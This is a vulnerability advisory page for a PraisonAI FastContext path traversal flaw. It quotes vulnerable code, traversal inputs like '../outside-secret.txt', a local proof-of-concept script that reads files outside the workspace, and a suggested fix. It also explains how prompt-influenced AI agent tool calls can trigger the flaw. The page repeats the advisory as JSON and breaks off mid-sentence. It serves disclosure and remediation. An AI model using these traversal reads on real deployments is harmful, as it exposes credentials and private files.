CVE-2026-61432: PraisonAI FastContext Path Resolution Permits Absolute Vulnerability

MODERATE
Advisory Identifier: GHSA-4xxv-6wmf-xf45
CVSS 5.7
CWE-200 CWE-22
Published
Advisory Summary

CVE-2026-61432 is a MODERATE (CVSS 5.7) fastcontext path resolution permits absolute vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves fastcontext path resolution permits absolute and traversal reads outside the workspace. Remediation is available by upgrading affected packages to version 1.6.78.

CVE-2026-61432 at a Glance

CVE Identifier CVE-2026-61432
GHSA Identifier GHSA-4xxv-6wmf-xf45
Severity MODERATE
CVSS v3.1 Base Score 5.7
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-61432

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonaiagents fixed: 1.6.78
pip install praisonaiagents>=1.6.78
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonaiagents

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-61432, inspect your installed packages using pip:

pip show praisonaiagents

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.78), your application is affected.

Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# FastContext path resolution permits absolute and traversal reads outside the workspace ## Summary PraisonAI's `praisonaiagents.context.fast` FastContext feature treats `workspace_path` as the root directory for code search, but its model-facing search tools and high-level `read_context()` helper accept absolute paths and `..` traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context. ## Technical Details `FastContextAgent` documents `workspace_path` as the "Root directory for searches" and stores it as an absolute path: ```python class FastContextAgent: """Specialized agent for fast parallel code search. Attributes: workspace_path: Root directory for searches """ def __init__(self, workspace_path: str, ...): self.workspace_path = os.path.abspath(workspace_path) ``` The same class exposes `grep_search`, `glob_search`, `read_file`, and `list_directory` as model function-call tools via `get_tools()`. Those tools are intended to retrieve code context from the configured workspace. The problem is in `FastContextAgent.execute_tool()`. It prepends `workspace_path` only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment: ```python if tool_name in ("grep_search", "glob_search"): if "search_path" not in kwargs or kwargs["search_path"] == ".": kwargs["search_path"] = self.workspace_path elif not os.path.isabs(kwargs["search_path"]): kwargs["search_path"] = os.path.join(self.workspace_path, kwargs["search_path"]) elif tool_name == "list_directory": if "dir_path" not in kwargs or kwargs["dir_path"] == ".": kwargs["dir_path"] = self.workspace_path elif not os.path.isabs(kwargs["dir_path"]): kwargs["dir_path"] = os.path.join(self.workspace_path, kwargs["dir_path"]) elif tool_name == "read_file": if "filepath" in kwargs and not os.path.isabs(kwargs["filepath"]): kwargs["filepath"] = os.path.join(self.workspace_path, kwargs["filepath"]) ``` As a result, an absolute path passes through unchanged, and a relative traversal such as `../outside-secret.txt` is transformed into `<workspace>/../outside-secret.txt`. The downstream search tools then call `os.path.abspath()` and operate on the resolved outside path. The downstream tools do not enforce a FastContext workspace boundary: ```python def grep_search(search_path: str, pattern: str, ...): search_path = os.path.abspath(search_path) ... with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: lines = f.readlines() ``` ```python def read_file(filepath: str, ...): filepath = os.path.abspath(filepath) ... with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: lines = f.readlines() ``` ```python def list_directory(dir_path: str, ...): dir_path = os.path.abspath(dir_path) ... for entry in os.scandir(path): ... ``` The model-backed `FastContextAgent.search()` path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a `ToolCallBatch`: ```python response = model_client.chat.completions.create( model=self.model, messages=messages, tools=[{"type": "function", "function": t} for t in self.get_tools()], tool_choice="auto" ) ... args = json.loads(tool_call.function.arguments) batch.add(tool_call.function.name, **args) ... tool_results = self.coordinator.execute_turn_sync(batch) ``` That path bypasses `execute_tool()`'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through `ParallelSearchCoordinator`. The public high-level API has the same containment gap. `FastContext.read_context()` documents `filepath` as "relative to workspace", joins relative paths with `workspace_path`, and then calls `read_file()` without a resolved-path containment check: ```python def read_context(self, filepath: str, ...): full_path = filepath if not os.path.isabs(filepath): full_path = os.path.join(self.workspace_path, filepath) result = read_file(full_path, ...) ``` This behavior is not required for intended FastContext code search. A normal search through `search_simple()` searches only `self.workspace_path`; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root. ## PoV The following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed `FastContextAgent.search()` path because it dispatches model-generated path arguments to the same raw search functions. ```python from pathlib import Path from tempfile import TemporaryDirectory from praisonaiagents.context.fast import FastContext from praisonaiagents.context.fast.fast_context_agent import FastContextAgent CANARY = "FAST_CONTEXT_CANARY=outside-workspace" with TemporaryDirectory() as tmp: root = Path(tmp) / "workspace" root.mkdir() (root / "inside.txt").write_text("INSIDE_ONLY=workspace\n") outside = Path(tmp) / "outside-secret.txt" outside.write_text(CANARY + "\n") agent = FastContextAgent(str(root)) assert len(agent.search_simple(CANARY).files) == 0 assert "INSIDE_ONLY=workspace" in agent.execute_tool("read_file", filepath="inside.txt")["content"] assert CANARY in agent.execute_tool("read_file", filepath="../outside-secret.txt")["content"] assert CANARY in agent.execute_tool("read_file", filepath=str(outside))["content"] assert any(CANARY in match["content"] for match in agent.execute_tool("grep_search", search_path="..", pattern=CANARY)) assert any(match["path"] == "outside-secret.txt" for match in agent.execute_tool("glob_search", search_path="..", pattern="*.txt")) assert any(entry["name"] == "outside-secret.txt" for entry in agent.execute_tool("list_directory", dir_path="..")["entries"]) fc = FastContext(workspace_path=str(root), cache_enabled=False) assert CANARY in fc.read_context("../outside-secret.txt") ``` ## PoC Save the self-contained script from the Appendix below as `fastcontext_workspace_pov.py`, then run it against a local checkout: ```bash export PRAISONAI=/path/to/PraisonAI PYTHONPATH="$PRAISONAI/src/praisonai-agents" python fastcontext_workspace_pov.py ``` Expected vulnerable output: ```json { "results": { "absolute_read_discloses_canary": true, "glob_parent_reveals_outside_file": true, "grep_parent_discloses_canary": true, "high_level_read_context_discloses_canary": true, "inside_read_still_works": true, "list_parent_reveals_outside_file": true, "relative_traversal_read_discloses_canary": true, "simple_search_does_not_find_outside_canary": true }, "vulnerable": true } ``` The version sweep sampled the FastContext introduction boundary and current releases: ```text PraisonAI FastContext workspace-boundary version sweep current_main: 1620b49f36945d8cc8ee5635b906c960df5097a0 latest_tag_context: v4.6.63-2-g1620b49f v2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py v2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py {"ref": "v2.3.11", "praisonaiagents_version": "0.0.190", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "v3.8.1", "praisonaiagents_version": "0.11.7", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "v4.5.149", "praisonaiagents_version": "1.6.8", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "v4.6.58", "praisonaiagents_version": "1.6.58", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "v4.6.62", "praisonaiagents_version": "1.6.62", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "v4.6.63", "praisonaiagents_version": "1.6.63", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "HEAD", "praisonaiagents_version": "1.6.63", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} ``` No external service, live target, or real credential is needed for reproduction. ## Impact If an application exposes FastContext to lower-trust prompts or users, the attacker can cause the PraisonAI process to read files outside the intended workspace and return the contents through tool results or high-level FastContext APIs. Practical impacts include disclosure of source files, logs, prompt transcripts, API keys, local configuration, cloud credentials, and other process-readable text files. `grep_search` can search outside directories for secrets, `glob_search` and `list_directory` can enumerate outside file names and metadata, and `read_file`/`read_context` can return file contents. The demonstrated impact is confidentiality. This report does not claim arbitrary write, code execution, or availability impact. Suggested severity: High for network/API-backed agent deployments where lower-trust prompt content can influence a tool-using FastContext search; Medium if maintainers score only direct local API misuse. A conservative agent-deployment CVSS 3.1 vector is: ```text CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N ``` Relevant CWEs: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor ## Suggested Fix Make FastContext path resolution fail closed around a single workspace-containment helper: 1. Resolve the configured workspace once. 2. For every FastContext path argument, reject absolute paths outside the workspace, join relative paths to the workspace, resolve the candidate, and require `candidate.relative_to(workspace)` to succeed. 3. Apply this helper in `FastContextAgent.execute_tool()` for `grep_search`, `glob_search`, `read_file`, and `list_directory`. 4. Apply the same helper before adding model-generated tool calls to `ToolCallBatch` in `FastContextAgent.search()`. Do not call the raw `search_tools` functions with model-supplied paths. 5. Apply the same helper in `FastContext.read_context()`. 6. Consider making `search_tools.execute_tool()` accept an optional `workspace_path` and enforce containment when used as a workspace-scoped tool dispatcher. 7. Add regression tests for absolute outside paths and `..` traversal in all four FastContext tools, high-level `read_context()`, and the model tool-call execution path. Minimal containment shape: ```python def _resolve_workspace_path(workspace: str, user_path: str) -> str: root = Path(workspace).resolve() candidate = Path(user_path) if not candidate.is_absolute(): candidate = root / candidate resolved = candidate.resolve() try: resolved.relative_to(root) except ValueError as exc: raise PermissionError(f"FastContext path is outside workspace: {user_path}") from exc return str(resolved) ``` ## Affected Package/Versions - Package: `praisonaiagents` - Component: `praisonaiagents.context.fast` - Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0` - Current package version in the tested source tree: `1.6.63` - Sampled introduction boundary: absent in repo tags where `praisonaiagents` is `0.0.188` and `0.0.189`; present and vulnerable starting with sampled `0.0.190` - Latest tested release tag: `v4.6.63`, `praisonaiagents` version `1.6.63` Suggested affected range, based on the sampled source sweep: ```text praisonaiagents >= 0.0.190, <= 1.6.63 ``` The exact first released package version should be confirmed by maintainers from the `praisonaiagents.context.fast` release history, but the repository sweep shows the vulnerable FastContext files first present at the sampled `praisonaiagents 0.0.190` point and still vulnerable on current main. ## Advisory History No checked public advisory or local prior report matched the FastContext code-search workspace-boundary bypass in `praisonaiagents.context.fast`. Closest public comparators are related but distinct: - `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report covers `praisonaiagents.context.fast.FastContextAgent` and `FastContext` with an explicitly configured `workspace_path`; the root cause is missing containment after path joining and raw model tool-call dispatch, not an unset global workspace. - `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers FastContext code-search/read/list tools and the model-backed FastContext search loop. - `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers FastContext's workspace root and file/search path tool arguments. - `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read due missing workspace boundary and approval gate. This report does not use skill tools. - `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152`: legacy `FileTools.list_files()` glob traversal. This report affects FastContext and can disclose file content through `read_file`/`grep_search`, not only metadata through FileTools glob patterns. - `GHSA-693f-pf34-72c5`: FileTools path traversal. This report is in `praisonaiagents.context.fast`, not `praisonaiagents.tools.file_tools`. - `GHSA-9cr9-25q5-8prj` and `GHSA-9mqq-jqxf-grvw`: MCP file/path traversal surfaces. This report does not use MCP. Public issue/PR search found no hits for `FastContext arbitrary file read`, `"Fast Context" workspace boundary`, or `fast_context_agent` in `MervinPraison/PraisonAI`. ## References - PraisonAI Fast Context docs: https://docs.praison.ai/docs/features/fast-context - PraisonAI tools docs, Fast Context section: https://docs.praison.ai/docs/concepts/tools - PraisonAI repository advisories: https://github.com/MervinPraison/PraisonAI/security/advisories - `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25 - `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g - `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c - `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf - `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq - CWE-22: https://cwe.mitre.org/data/definitions/22.html - CWE-200: https://cwe.mitre.org/data/definitions/200.html ## Appendix: Self-Contained FastContext Workspace PoC ```python #!/usr/bin/env python3 import json from pathlib import Path from tempfile import TemporaryDirectory from praisonaiagents.context.fast import FastContext from praisonaiagents.context.fast.fast_context_agent import FastContextAgent CANARY = "FAST_CONTEXT_CANARY=outside-workspace" def main() -> None: with TemporaryDirectory(prefix="fastcontext-workspace-pov-") as tmp: temp_root = Path(tmp) workspace = temp_root / "workspace" workspace.mkdir() inside = workspace / "inside.txt" outside = temp_root / "outside-secret.txt" inside.write_text("INSIDE_ONLY=workspace\n", encoding="utf-8") outside.write_text(CANARY + "\n", encoding="utf-8") agent = FastContextAgent(str(workspace), max_turns=2, max_parallel=4) simple_result = agent.search_simple(CANARY) inside_result = agent.execute_tool("read_file", filepath="inside.txt") relative_read = agent.execute_tool("read_file", filepath="../outside-secret.txt") absolute_read = agent.execute_tool("read_file", filepath=str(outside)) grep_parent = agent.execute_tool("grep_search", search_path="..", pattern=CANARY, max_results=5) glob_parent = agent.execute_tool("glob_search", search_path="..", pattern="*.txt", max_results=5) list_parent = agent.execute_tool("list_directory", dir_path="..", max_entries=10) context = FastContext(workspace_path=str(workspace), cache_enabled=False) context_read = context.read_context("../outside-secret.txt") results = { "simple_search_does_not_find_outside_canary": len(simple_result.files) == 0, "inside_read_still_works": "INSIDE_ONLY=workspace" in inside_result.get("content", ""), "relative_traversal_read_discloses_canary": CANARY in relative_read.get("content", ""), "absolute_read_discloses_canary": CANARY in absolute_read.get("content", ""), "grep_parent_discloses_canary": any(CANARY in match.get("content", "") for match in grep_parent), "glob_parent_reveals_outside_file": any(match.get("path") == "outside-secret.txt" for match in glob_parent), "list_parent_reveals_outside_file": any(entry.get("name") == "outside-secret.txt" for entry in list_parent.get("entries", [])), "high_level_read_context_discloses_canary": CANARY in (context_read or ""), } print(json.dumps({"vulnerable": all(results.values()), "results": results}, indent=2, sort_keys=True)) if __name__ == "__main__": main() ```

CVE-2026-61432 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
1.6.78
Product / Package Ecosystem Affected Versions Fixed Version
praisonaiagents
PyPI
< 1.6.78
1.6.78

References

Frequently Asked Questions

What is CVE-2026-61432?
CVE-2026-61432 is a security vulnerability in PraisonAI involving FastContext path resolution permits absolute and traversal reads outside the workspace under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which PraisonAI versions are affected?
Affected versions include releases prior to 1.6.78 across affected packages: praisonaiagents.
What version fixes CVE-2026-61432?
Upgrading to 1.6.78 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonaiagents affected?
Yes, praisonaiagents is affected in releases prior to 1.6.78. Upgrade your dependency to 1.6.78 or later.
What is the CVSS score of CVE-2026-61432?
CVE-2026-61432 has a CVSS v3.1 base score of 5.7 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-61432?
CVE-2026-61432 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check PyPI dependencies for CVE-2026-61432?
Run the dependency tree command: 'pip show praisonaiagents'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4xxv-6wmf-xf45",
  "modified" : "2026-10-08T16:48:52Z",
  "published" : "2026-10-08T16:48:52Z",
  "aliases" : [ "CVE-2026-61432" ],
  "summary" : "PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace",
  "details" : "# FastContext path resolution permits absolute and traversal reads outside the workspace\n\n## Summary\n\nPraisonAI's `praisonaiagents.context.fast` FastContext feature treats `workspace_path` as the root directory for code search, but its model-facing search tools and high-level `read_context()` helper accept absolute paths and `..` traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context.\n\n## Technical Details\n\n`FastContextAgent` documents `workspace_path` as the \"Root directory for searches\" and stores it as an absolute path:\n\n```python\nclass FastContextAgent:\n    \"\"\"Specialized agent for fast parallel code search.\n\n    Attributes:\n        workspace_path: Root directory for searches\n    \"\"\"\n\n    def __init__(self, workspace_path: str, ...):\n        self.workspace_path = os.path.abspath(workspace_path)\n```\n\nThe same class exposes `grep_search`, `glob_search`, `read_file`, and `list_directory` as model function-call tools via `get_tools()`. Those tools are intended to retrieve code context from the configured workspace.\n\nThe problem is in `FastContextAgent.execute_tool()`. It prepends `workspace_path` only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment:\n\n```python\nif tool_name in (\"grep_search\", \"glob_search\"):\n    if \"search_path\" not in kwargs or kwargs[\"search_path\"] == \".\":\n        kwargs[\"search_path\"] = self.workspace_path\n    elif not os.path.isabs(kwargs[\"search_path\"]):\n        kwargs[\"search_path\"] = os.path.join(self.workspace_path, kwargs[\"search_path\"])\nelif tool_name == \"list_directory\":\n    if \"dir_path\" not in kwargs or kwargs[\"dir_path\"] == \".\":\n        kwargs[\"dir_path\"] = self.workspace_path\n    elif not os.path.isabs(kwargs[\"dir_path\"]):\n        kwargs[\"dir_path\"] = os.path.join(self.workspace_path, kwargs[\"dir_path\"])\nelif tool_name == \"read_file\":\n    if \"filepath\" in kwargs and not os.path.isabs(kwargs[\"filepath\"]):\n        kwargs[\"filepath\"] = os.path.join(self.workspace_path, kwargs[\"filepath\"])\n```\n\nAs a result, an absolute path passes through unchanged, and a relative traversal such as `../outside-secret.txt` is transformed into `<workspace>/../outside-secret.txt`. The downstream search tools then call `os.path.abspath()` and operate on the resolved outside path.\n\nThe downstream tools do not enforce a FastContext workspace boundary:\n\n```python\ndef grep_search(search_path: str, pattern: str, ...):\n    search_path = os.path.abspath(search_path)\n    ...\n    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:\n        lines = f.readlines()\n```\n\n```python\ndef read_file(filepath: str, ...):\n    filepath = os.path.abspath(filepath)\n    ...\n    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:\n        lines = f.readlines()\n```\n\n```python\ndef list_directory(dir_path: str, ...):\n    dir_path = os.path.abspath(dir_path)\n    ...\n    for entry in os.scandir(path):\n        ...\n```\n\nThe model-backed `FastContextAgent.search()` path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a `ToolCallBatch`:\n\n```python\nresponse = model_client.chat.completions.create(\n    model=self.model,\n    messages=messages,\n    tools=[{\"type\": \"function\", \"function\": t} for t in self.get_tools()],\n    tool_choice=\"auto\"\n)\n...\nargs = json.loads(tool_call.function.arguments)\nbatch.add(tool_call.function.name, **args)\n...\ntool_results = self.coordinator.execute_turn_sync(batch)\n```\n\nThat path bypasses `execute_tool()`'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through `ParallelSearchCoordinator`.\n\nThe public high-level API has the same containment gap. `FastContext.read_context()` documents `filepath` as \"relative to workspace\", joins relative paths with `workspace_path`, and then calls `read_file()` without a resolved-path containment check:\n\n```python\ndef read_context(self, filepath: str, ...):\n    full_path = filepath\n    if not os.path.isabs(filepath):\n        full_path = os.path.join(self.workspace_path, filepath)\n\n    result = read_file(full_path, ...)\n```\n\nThis behavior is not required for intended FastContext code search. A normal search through `search_simple()` searches only `self.workspace_path`; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root.\n\n## PoV\n\nThe following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed `FastContextAgent.search()` path because it dispatches model-generated path arguments to the same raw search functions.\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonaiagents.context.fast import FastContext\nfrom praisonaiagents.context.fast.fast_context_agent import FastContextAgent\n\nCANARY = \"FAST_CONTEXT_CANARY=outside-workspace\"\n\nwith TemporaryDirectory() as tmp:\n    root = Path(tmp) / \"workspace\"\n    root.mkdir()\n    (root / \"inside.txt\").write_text(\"INSIDE_ONLY=workspace\\n\")\n    outside = Path(tmp) / \"outside-secret.txt\"\n    outside.write_text(CANARY + \"\\n\")\n\n    agent = FastContextAgent(str(root))\n\n    assert len(agent.search_simple(CANARY).files) == 0\n    assert \"INSIDE_ONLY=workspace\" in agent.execute_tool(\"read_file\", filepath=\"inside.txt\")[\"content\"]\n\n    assert CANARY in agent.execute_tool(\"read_file\", filepath=\"../outside-secret.txt\")[\"content\"]\n    assert CANARY in agent.execute_tool(\"read_file\", filepath=str(outside))[\"content\"]\n    assert any(CANARY in match[\"content\"] for match in agent.execute_tool(\"grep_search\", search_path=\"..\", pattern=CANARY))\n    assert any(match[\"path\"] == \"outside-secret.txt\" for match in agent.execute_tool(\"glob_search\", search_path=\"..\", pattern=\"*.txt\"))\n    assert any(entry[\"name\"] == \"outside-secret.txt\" for entry in agent.execute_tool(\"list_directory\", dir_path=\"..\")[\"entries\"])\n\n    fc = FastContext(workspace_path=str(root), cache_enabled=False)\n    assert CANARY in fc.read_context(\"../outside-secret.txt\")\n```\n\n## PoC\n\nSave the self-contained script from the Appendix below as `fastcontext_workspace_pov.py`, then run it against a local checkout:\n\n```bash\nexport PRAISONAI=/path/to/PraisonAI\nPYTHONPATH=\"$PRAISONAI/src/praisonai-agents\" python fastcontext_workspace_pov.py\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"results\": {\n    \"absolute_read_discloses_canary\": true,\n    \"glob_parent_reveals_outside_file\": true,\n    \"grep_parent_discloses_canary\": true,\n    \"high_level_read_context_discloses_canary\": true,\n    \"inside_read_still_works\": true,\n    \"list_parent_reveals_outside_file\": true,\n    \"relative_traversal_read_discloses_canary\": true,\n    \"simple_search_does_not_find_outside_canary\": true\n  },\n  \"vulnerable\": true\n}\n```\n\nThe version sweep sampled the FastContext introduction boundary and current releases:\n\n```text\nPraisonAI FastContext workspace-boundary version sweep\ncurrent_main: 1620b49f36945d8cc8ee5635b906c960df5097a0\nlatest_tag_context: v4.6.63-2-g1620b49f\n\nv2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py\nv2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py\n{\"ref\": \"v2.3.11\", \"praisonaiagents_version\": \"0.0.190\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v3.8.1\", \"praisonaiagents_version\": \"0.11.7\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.5.149\", \"praisonaiagents_version\": \"1.6.8\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.58\", \"praisonaiagents_version\": \"1.6.58\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.62\", \"praisonaiagents_version\": \"1.6.62\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.63\", \"praisonaiagents_version\": \"1.6.63\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"HEAD\", \"praisonaiagents_version\": \"1.6.63\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n```\n\nNo external service, live target, or real credential is needed for reproduction.\n\n## Impact\n\nIf an application exposes FastContext to lower-trust prompts or users, the attacker can cause the PraisonAI process to read files outside the intended workspace and return the contents through tool results or high-level FastContext APIs. Practical impacts include disclosure of source files, logs, prompt transcripts, API keys, local configuration, cloud credentials, and other process-readable text files. `grep_search` can search outside directories for secrets, `glob_search` and `list_directory` can enumerate outside file names and metadata, and `read_file`/`read_context` can return file contents.\n\nThe demonstrated impact is confidentiality. This report does not claim arbitrary write, code execution, or availability impact.\n\nSuggested severity: High for network/API-backed agent deployments where lower-trust prompt content can influence a tool-using FastContext search; Medium if maintainers score only direct local API misuse. A conservative agent-deployment CVSS 3.1 vector is:\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nMake FastContext path resolution fail closed around a single workspace-containment helper:\n\n1. Resolve the configured workspace once.\n2. For every FastContext path argument, reject absolute paths outside the workspace, join relative paths to the workspace, resolve the candidate, and require `candidate.relative_to(workspace)` to succeed.\n3. Apply this helper in `FastContextAgent.execute_tool()` for `grep_search`, `glob_search`, `read_file`, and `list_directory`.\n4. Apply the same helper before adding model-generated tool calls to `ToolCallBatch` in `FastContextAgent.search()`. Do not call the raw `search_tools` functions with model-supplied paths.\n5. Apply the same helper in `FastContext.read_context()`.\n6. Consider making `search_tools.execute_tool()` accept an optional `workspace_path` and enforce containment when used as a workspace-scoped tool dispatcher.\n7. Add regression tests for absolute outside paths and `..` traversal in all four FastContext tools, high-level `read_context()`, and the model tool-call execution path.\n\nMinimal containment shape:\n\n```python\ndef _resolve_workspace_path(workspace: str, user_path: str) -> str:\n    root = Path(workspace).resolve()\n    candidate = Path(user_path)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"FastContext path is outside workspace: {user_path}\") from exc\n    return str(resolved)\n```\n\n## Affected Package/Versions\n\n- Package: `praisonaiagents`\n- Component: `praisonaiagents.context.fast`\n- Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n- Current package version in the tested source tree: `1.6.63`\n- Sampled introduction boundary: absent in repo tags where `praisonaiagents` is `0.0.188` and `0.0.189`; present and vulnerable starting with sampled `0.0.190`\n- Latest tested release tag: `v4.6.63`, `praisonaiagents` version `1.6.63`\n\nSuggested affected range, based on the sampled source sweep:\n\n```text\npraisonaiagents >= 0.0.190, <= 1.6.63\n```\n\nThe exact first released package version should be confirmed by maintainers from the `praisonaiagents.context.fast` release history, but the repository sweep shows the vulnerable FastContext files first present at the sampled `praisonaiagents 0.0.190` point and still vulnerable on current main.\n\n## Advisory History\n\nNo checked public advisory or local prior report matched the FastContext code-search workspace-boundary bypass in `praisonaiagents.context.fast`.\n\nClosest public comparators are related but distinct:\n\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report covers `praisonaiagents.context.fast.FastContextAgent` and `FastContext` with an explicitly configured `workspace_path`; the root cause is missing containment after path joining and raw model tool-call dispatch, not an unset global 